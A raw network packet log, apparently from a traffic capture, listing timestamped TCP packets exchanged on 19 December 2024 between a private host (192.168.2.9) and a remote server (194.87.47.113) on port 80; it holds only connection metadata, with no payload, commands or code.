Dec 19, 2024 08:01:05.472752094 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:05.472763062 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:05.472798109 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:05.473818064 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:05.473884106 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:05.473896027 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:05.473928928 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:05.474534035 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:05.474574089 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:05.474585056 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:05.474622011 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:05.475507975 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:05.475545883 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:05.475558043 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:05.475595951 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:05.476428986 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:05.476486921 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:05.476500034 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:05.476528883 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:05.477628946 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:05.477719069 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:05.477730036 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:05.477771044 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:05.478516102 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:05.478585958 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:05.478600025 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:05.478626013 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:05.478636980 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:05.479338884 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:05.479394913 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:05.479406118 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:05.479444027 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:05.480220079 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:05.480283022 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:05.480294943 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:05.480321884 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:05.480329990 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:05.481211901 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:05.481297016 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:05.481307983 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:05.481353045 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:05.482192993 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:05.482206106 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:05.482217073 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:05.482242107 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:05.482254982 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:05.483079910 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:05.483103991 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:05.483118057 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:05.483155966 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:05.484009027 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:05.484050989 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:05.484055996 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:05.484067917 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:05.484102011 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:05.484951973 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:05.485013962 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:05.485024929 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:05.485068083 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:05.485991001 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:05.486002922 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:05.486015081 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:05.486044884 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:05.486063004 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:05.486859083 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:05.486938000 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:05.486949921 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:05.486987114 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:05.487848997 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:05.487901926 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:05.487914085 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:05.487943888 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:05.487958908 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:05.488755941 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:05.488811016 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:05.488821983 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:05.488853931 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:05.489692926 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:05.489737034 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:05.489747047 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:05.489787102 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:05.489808083 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:05.616312027 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:05.616369963 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:05.616383076 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:05.616439104 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:05.616684914 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:05.616729021 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:05.616740942 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:05.616751909 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:05.616796970 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:05.617697954 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:05.617769957 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:05.617820024 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:05.618210077 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:05.618272066 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:05.618283987 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:05.618329048 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:05.619242907 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:05.619256020 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:05.619266987 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:05.619297028 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:05.619360924 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:05.654258013 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:05.654460907 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:05.654473066 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:05.654649019 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:05.654719114 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:05.654748917 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:05.654762030 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:05.654767036 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:05.654820919 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:05.655503035 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:05.655570030 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:05.655585051 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:05.655606985 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:05.656403065 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:05.656434059 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:05.656443119 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:05.656445980 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:05.657124996 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:05.657167912 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:05.657244921 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:05.657258034 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:05.657296896 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:05.658113003 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:05.658154011 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:05.658174038 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:05.658185005 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:05.658222914 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:05.659020901 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:05.659122944 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:05.659163952 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:05.659607887 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:05.659655094 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:05.659667015 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:05.659707069 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:05.660573006 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:05.660614967 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:05.660626888 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:05.660649061 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:05.660665035 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:05.661484957 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:05.661564112 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:05.661576033 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:05.661601067 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:05.662667990 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:05.662717104 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:05.662730932 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:05.662758112 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:05.662780046 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:05.663947105 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:05.663958073 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:05.663969040 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:05.663995981 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:05.664613008 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:05.664679050 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:05.664685965 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:05.664819002 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:05.665307045 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:05.665365934 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:05.665378094 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:05.665415049 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:05.666260958 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:05.666301012 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:05.666311026 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:05.666337967 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:05.666352034 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:05.667186975 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:05.667218924 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:05.667228937 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:05.667268038 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:05.668489933 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:05.668510914 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:05.668524981 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:05.668551922 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:05.668566942 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:05.669156075 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:05.669207096 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:05.669219971 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:05.669275045 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:05.670051098 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:05.670140982 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:05.670154095 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:05.670201063 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:05.671029091 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:05.671078920 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:05.671091080 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:05.671936989 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:05.672089100 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:05.672147036 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:05.672161102 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:05.672171116 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:05.672204018 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:05.673053026 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:05.673121929 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:05.673135042 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:05.673178911 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:05.673886061 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:05.673933983 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:05.673957109 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:05.673969030 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:05.674007893 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:05.674830914 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:05.674875975 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:05.674886942 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:05.674928904 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:05.675826073 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:05.675873995 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:05.675879955 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:05.675885916 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:05.675932884 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:05.676733971 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:05.676790953 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:05.676803112 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:05.676843882 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:05.677675962 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:05.677720070 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:05.677731991 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:05.677777052 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:05.678703070 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:05.678714991 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:05.678728104 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:05.678755999 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:05.679721117 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:05.679733992 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:05.679745913 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:05.679778099 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:05.679807901 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:05.680529118 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:05.680576086 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:05.680588007 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:05.680620909 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:05.681488037 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:05.681500912 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:05.681509018 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:05.681560993 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:05.682565928 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:05.732569933 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:05.808679104 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:05.808717012 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:05.808728933 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:05.808955908 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:05.809047937 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:05.809108973 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:05.809120893 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:05.809154987 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:05.810018063 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:05.810080051 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:05.810092926 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:05.810132027 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:05.810992956 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:05.811036110 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:05.811049938 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:05.811074972 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:05.811098099 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:05.811902046 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:05.811965942 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:05.812009096 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:05.846118927 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:05.846157074 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:05.846168995 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:05.846203089 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:05.846615076 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:05.846630096 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:05.846642971 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:05.846659899 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:05.846677065 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:05.847371101 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:05.847417116 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:05.847429991 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:05.847469091 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:05.848347902 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:05.848371983 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:05.848383904 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:05.848393917 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:05.848428011 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:05.849304914 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:05.849349022 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:05.849360943 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:05.849383116 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:05.850263119 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:05.850305080 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:05.850308895 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:05.850318909 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:05.850888968 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:05.851485968 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:05.851536036 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:05.851547956 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:05.851579905 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:05.852698088 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:05.852720022 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:05.852731943 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:05.852758884 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:05.852782965 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:05.853842974 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:05.853883982 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:05.853895903 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:05.853924990 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:05.854824066 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:05.854866982 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:05.854880095 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:05.854888916 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:05.854947090 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:05.855686903 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:05.855722904 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:05.855734110 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:05.855770111 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:05.856478930 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:05.856528044 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:05.856539965 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:05.856551886 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:05.856587887 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:05.857232094 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:05.857275963 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:05.857286930 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:05.857326031 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:05.858088970 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:05.858138084 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:05.858149052 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:05.858185053 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:05.858216047 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:05.858757019 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:05.858817101 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:05.858829021 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:05.858863115 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:05.859726906 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:05.859791994 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:05.859803915 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:05.859836102 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:05.859859943 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:05.860668898 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:05.860718012 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:05.860728979 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:05.860755920 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:05.861622095 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:05.861670971 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:05.861706972 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:05.861718893 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:05.861752987 CET	49739	80	192.168.2.9	194.87.47.113
